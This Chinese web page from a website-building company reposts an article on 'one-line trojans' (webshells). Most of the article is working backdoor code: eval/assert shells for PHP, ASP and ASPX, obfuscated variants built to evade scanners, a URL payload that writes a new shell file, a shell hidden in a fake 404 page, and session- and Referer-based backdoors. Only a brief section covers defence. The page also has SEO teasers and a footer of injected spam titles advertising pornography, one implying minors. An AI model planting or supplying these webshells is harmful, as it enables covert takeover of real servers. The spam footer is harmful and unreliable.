1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          一句話木馬原理與攻防

          來源:互聯網轉載 時間:2024-10-28 23:15:53

          一句話木馬原理很簡單,造型也很簡單,所以造成了它理解起來容易,抵御起來也容易。于是黑白的較量變成了黑帽不斷的構造變形的后門,去隱蔽特征,而白帽則不斷的更新過濾方法,建起更高的城墻。

          一、原理簡述

          對于不同的語言有不同的構造方法。

          • 基本構造:最開頭構造的是腳本開始的標記

          • 核心部分:獲取并執行得到的內容,通常類似eval、execute等

          • 被執行內容:一般是http等協議接受的值,通常類似request、$_POST等

          如果我們通過客戶端向服務器發送被執行內容,那么就會讓服務器執行我們發送的腳本,掛馬就實現了。

          /*asp一句話木馬*/<%execute(request("value"))%>

          /*php一句話木馬*/<?php@eval($_POST[value]);?>

          /*aspx一句話木馬*/
          <%@PageLanguage="Jscript"%>
          <%eval(Request.Item["value"])%>

          黑帽子的目的,就是想盡辦法給目標網站插入這么一段會被儲存起來的語句??梢允且粋€單獨的腳本文件文件(.asp 、.php、.aspx ),或者是隱藏在某些網頁下的文件、代碼等。

          其中的value 就是客戶端要發送的內容,然后通過客戶端與服務器建立連接,發送控制腳本。也會涉及到一些任意文件上傳漏洞等。

          二、簡單變形

          很明顯的 eval 可以成為一個靜態特征碼,webshell掃描工具可以以此為關鍵詞,掃描到這種木馬加以屏蔽。于是可以簡單變形不出現eval:

          <?php$_GET['a']($_POST['b'])?>

          同理,傳給a值為 @base64_decode(base64編碼過后的eval)。

          <?php$_GET['a']($_GET['b']);?>

          利用方法:

          ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

          通過對GET請求的URL構造而形成利用,左括號和右括號是URL編碼,解碼回來如下:

          ?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

          PHP接收到GET請求后相當于執行一個assert函數,并把b作為assert的參數。b里面使用略php的base64解碼函數,把部分信息通過base64編碼而繞過掃描,解碼后如下:

          ?a=assert&b=${fputs(fopen(c.php,w),<?php@eval($_POST[c]);?>1)};

          執行后當前目錄生成c.php文件并寫入一句話木馬,這已經算是一個非常隱蔽的木馬了。而在PHP 后門的變形之路上,遠遠不止這些,甚至可以自己定義一個加密解密的函數,或者是利用xor, 字符串翻轉,壓縮,截斷重組等等方法來繞過。

          三、變形改良

          1.404頁面隱藏木馬

          <!DOCTYPEHTMLPUBLIC"-//IETF//DTDHTML2.0//EN">
          <html>
          <head>
          <title>404NotFound</title>
          </head>
          <body>
          <h1>NotFound</h1>
          <p>TherequestedURLwasnotfoundonthisserver.</p>
          </body>
          </html>
          <?php
          @preg_replace("/[pageerror]/e",$_POST['error'],"saft");
          header('HTTP/1.1404NotFound');
          ?>

          一般404頁面放好后,很少有人會定期對404頁面進行檢查和修改。

          如果在404頁面掛上了一句話后門,一方面不會被發現,另一方面,黑帽子很容易能定位到并連接上服務器。

          2.無特征隱藏PHP后門

          利用session:

          <?php
          session_start();
          $_POST['code']&&$_SESSION['theCode']=trim($_POST['code']);
          $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

          利用$_SEESION變量來繞過掃描,將$_POST['code']賦值給$_SESSION['theCode'],然后eval執行SESSION的內容。

          利用HTTP_REFERER:

          利用請求中的HTTP_REFERER來運行經過base64編碼的代碼,達到后門的效果,使用兩個文件。

          <?php
          //1.php
          header('Content-type:text/html;charset=utf-8');
          parse_str($_SERVER['HTTP_REFERER'],$a);
          if(reset($a)=='10'&&count($a)==9){
          eval(base64_decode(str_replace("","+",implode(array_slice($a,6)))));
          }
          <?php

          //2.php
          header('Content-type:text/html;charset=utf-8');
          //要執行的代碼
          $code=<<<CODE
          phpinfo();
          CODE;

          //進行base64編碼
          $code=base64_encode($code);
          //構造referer字符串
          $referer="a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
          //后門url
          $url='http://localhost/test1/1.php';
          $ch=curl_init();
          $options=[
          CURLOPT_URL=>$url,
          CURLOPT_HEADER=>FALSE,
          CURLOPT_RETURNTRANSFER=>TRUE,
          CURLOPT_REFERER=>$referer
          ];
          curl_setopt_array($ch,$options);
          echocurl_exec($ch);

          訪問2.php,會構造一個會話,進到后門1.php那里。然后在HTTP_REFERER 的內容也會傳遞給1.php,通過1.php 執行內容。一般來說,防火墻會對 referer字段寬松一些,就可造成繞過。

          3.常見的后門

          //菜刀一句話
          $hh="p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
          $hh("/[discuz]/e",$_POST['h'],"Access");

          //危險的include函數,直接編譯任何文件為php格式運行
          $filename=$_GET['xbid'];
          include($filename);

          //重命名任何文件
          $reg="c"."o"."p"."y";
          $reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);

          //菜刀一句話
          $gzid="p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
          $gzid("/[discuz]/e",$_POST['h'],"Access");

          //gif插一句話
          //危險的include函數,直接編譯任何文件為php格式運行,
          POST
          include($uid);
          //典型一句話
          <?phpeval_r($_POST['s'])?>
          <?php@eval_r($_POST['s'])?>

          //使用lanker一句話客戶端的專家模式執行相關的php語句
          <?phpassert($_POST['s']);?>
          <?$_POST['a']($_POST['b']);?>
          <?$_POST['a']($_POST['b'],$_POST['c'])?>

          //使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入
          <?php@preg_replace("/[email]/e",$_POST['h'],"error");?>
          <O>h=@eval_r($_POST1);</O>

          //繞過<?限制的一句話
          <scriptlanguage="php">@eval_r($_POST[sb])</script>

          四、攻防

          攻方:利用各種各樣的繞過姿勢,都是試圖讓掃描工具無效。

          守方:分析各種各樣的函數,尋找有效的特征碼來防止后門。

          黑帽子大牛:深入web框架內核,挖掘出代碼缺陷,構造出復雜的后門利用。

          安全審計人員:對那些通過GET,POST 獲取的超全局變量,進行細致的追蹤,構造合適的過濾器。

          語義分析:對GET POST 等獲取的值進行污染點追蹤,以確保這些用戶可控的值,不會未經過濾就得到了執行,或是進入數據庫中。

          針對超全局變量進行語義分析:

          • $_GET

          • $_POST

          • $_REQUEST

          • $_SERVER

          • $_FILES

          • $_COOKIE

          • $_SESSION

          • $_ENV

          • $GLOBALS

          這是陽光明媚的一天,互聯網里風平浪靜,一切都是欣欣向榮。我就是在這樣一個平凡的日子里誕生了。我給自己起了個名字叫超,不過我的師哥師姐們都喜歡叫我小超。從出生的那...

          網上關于SEO優化的知識很多也很雜,很多新手都不知道如何選擇。本來耗子網站里每篇文章都有的詳細步驟的,考慮到很雜,于是耗子對各種SEO優化基礎知識進行了整理,但...

          今天,我給大家講講如何利用電影貼吧引流輕松變現。這個很適合新手。廢話不多說,直接上干貨。每上映一個新片子,只要這個片子有一定的熱度,馬上該片子的貼吧就會出現各種...

          丈高樓平地起,要想建一座摩天大樓,基礎很關鍵。SEO都是一樣,今日小編就跟大伙兒聊一下SEO基礎都包含什么專業知識。許多盆友覺得,SEO實際上就是說文章內容編寫,要是能寫一手軟文就就行了,像這類實際上是較為片面性的一些觀點;筆者認為,文案編輯僅僅SEO基礎的一個層面,SEO基礎除開要把握文案編輯方法以外,也要掌握搜索引擎的基本原理和明白應用關鍵詞挖掘。下邊就這三個層面實際的說一下SEO1、SEO基...

          在當今互聯網時代,網站關鍵詞優化已經成為了每個網站運營者必須掌握的一項技能。好的關鍵詞優化可以讓你的網站獲得更多的流量,提高網站排名,進而增加轉化率和收益。但是如何進行關鍵詞優化卻是一個門檻問題,本文將為大家介紹十個實用方法,幫助你做好網站關鍵詞優化。梳理核心關鍵詞為了讓用戶更好地找到你的網站,首先需要明確自己網站的核心關鍵詞。這些核心關鍵詞應該和你網站所提供的服務或產品相關,能夠準確地描述你的網...

          在互聯網時代,網站已經成為很多企業獲取客戶和推廣品牌的重要渠道。而SEO(SearchEngineOptimization)搜索引擎優化,是指利用各種技術手段,提升網站在搜索引擎中的排名和曝光度,從而吸引更多的訪問者進入網站。本文將為大家詳細介紹SEO的10個必備技巧,幫助您將網站打造成為搜索引擎寵兒。關鍵詞的研究與應用關鍵詞是指網站中最能代表主題和服務的詞匯,是用戶在搜索引擎中輸入的重要詞匯。關...

          TOP
          国产初高中生视频在线观看|亚洲一区中文|久久亚洲欧美国产精品|黄色网站入口免费进人
          1. <nobr id="easjo"><address id="easjo"></address></nobr>

              <track id="easjo"><source id="easjo"></source></track>
              1. 
                

              2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
              3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>